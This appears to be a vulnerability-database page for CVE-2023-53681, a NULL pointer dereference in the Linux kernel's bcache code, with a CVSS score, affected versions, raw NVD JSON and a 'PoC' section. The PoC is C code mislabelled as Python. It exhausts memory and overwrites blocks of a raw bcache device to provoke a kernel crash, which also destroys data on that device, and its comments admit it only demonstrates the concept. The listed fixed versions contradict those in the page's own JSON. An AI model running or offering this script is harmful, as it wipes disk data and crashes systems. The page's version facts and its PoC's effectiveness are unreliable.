Security Vulnerability Report
中文
CVE-2023-53681 CVSS 5.5 MEDIUM

CVE-2023-53681

Published: 2025-10-07 16:15:52
Last Modified: 2026-02-26 23:09:33
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: bcache: Fix __bch_btree_node_alloc to make the failure behavior consistent In some specific situations, the return value of __bch_btree_node_alloc may be NULL. This may lead to a potential NULL pointer dereference in caller function like a calling chain : btree_split->bch_btree_node_alloc->__bch_btree_node_alloc. Fix it by initializing the return value in __bch_btree_node_alloc.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 5.10.175
Linux Kernel 5.11.x < 5.15.104
Linux Kernel 5.16.x < 6.1.21
Linux Kernel 6.2.x < 6.2.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2023-53681 PoC - Trigger NULL pointer dereference in bcache btree allocation // This PoC demonstrates how to trigger the vulnerability by stressing bcache // to cause memory allocation failure in __bch_btree_node_alloc #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/mount.h> // Note: This vulnerability requires kernel-level access to bcache device // The following demonstrates the concept of triggering btree split operations // under memory pressure to cause allocation failure #define BCACHE_IOCTL_RUN 1 int main(int argc, char *argv[]) { int fd; char bcache_dev[256]; if (argc < 2) { fprintf(stderr, "Usage: %s <bcache_device>\n", argv[0]); return 1; } snprintf(bcache_dev, sizeof(bcache_dev), "/dev/%s", argv[1]); fd = open(bcache_dev, O_RDWR); if (fd < 0) { perror("open"); return 1; } // Step 1: Create memory pressure to increase allocation failure chance // Allocate large amounts of memory to exhaust available memory size_t alloc_size = 1024 * 1024 * 1024; // 1GB chunks void **ptrs = malloc(sizeof(void*) * 64); int i; for (i = 0; i < 64; i++) { ptrs[i] = malloc(alloc_size); if (!ptrs[i]) break; memset(ptrs[i], 0, alloc_size); } // Step 2: Perform intensive I/O operations on bcache device // This triggers btree operations including splits char buf[4096]; memset(buf, 'A', sizeof(buf)); for (int j = 0; j < 10000; j++) { lseek(fd, j * 4096, SEEK_SET); write(fd, buf, sizeof(buf)); // Read back to trigger btree node operations lseek(fd, j * 4096, SEEK_SET); read(fd, buf, sizeof(buf)); } // Cleanup for (int k = 0; k < i; k++) { free(ptrs[k]); } free(ptrs); close(fd); printf("PoC execution completed. Check kernel logs for Oops/panic.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53681", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:52.287", "lastModified": "2026-02-26T23:09:33.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbcache: Fix __bch_btree_node_alloc to make the failure behavior consistent\n\nIn some specific situations, the return value of __bch_btree_node_alloc\nmay be NULL. This may lead to a potential NULL pointer dereference in\ncaller function like a calling chain :\nbtree_split->bch_btree_node_alloc->__bch_btree_node_alloc.\n\nFix it by initializing the return value in __bch_btree_node_alloc."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.10", "versionEndExcluding": "4.19.291", "matchCriteriaId": "FA56B5FE-7C8B-4903-A9FE-B462D512C983"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.253", "matchCriteriaId": "0707E9FF-8CDE-4AC1-98F3-5BB74EF88F8A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.188", "matchCriteriaId": "43CAE50A-4A6C-488E-813C-F8DB77C13C8B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.121", "matchCriteriaId": "EC77775B-EC31-4966-966C-1286C02B2A85"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.39", "matchCriteriaId": "9BD1D4A1-304D-4187-8178-6D7C0050B1AF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.4", "matchCriteriaId": "A91BC267-63EE-413E-A6EF-6B96C2A278D1"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/4514847aee18d9391a0cf3aad75d3567c72795a4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/587b4e8bb5dac682f09280ab35db4632b29d5ac4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7ecea5ce3dc17339c280c75b58ac93d8c8620d9f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/80fca8a10b604afad6c14213fdfd816c4eda3ee4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a4405f6ee03323410d7b10966fd67b35f71b1944", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b070f29a61436f6f8a2e3abc7ea4f4be81695198", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f67b0e3081f2a24170280a33ac66f6b112083c03", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}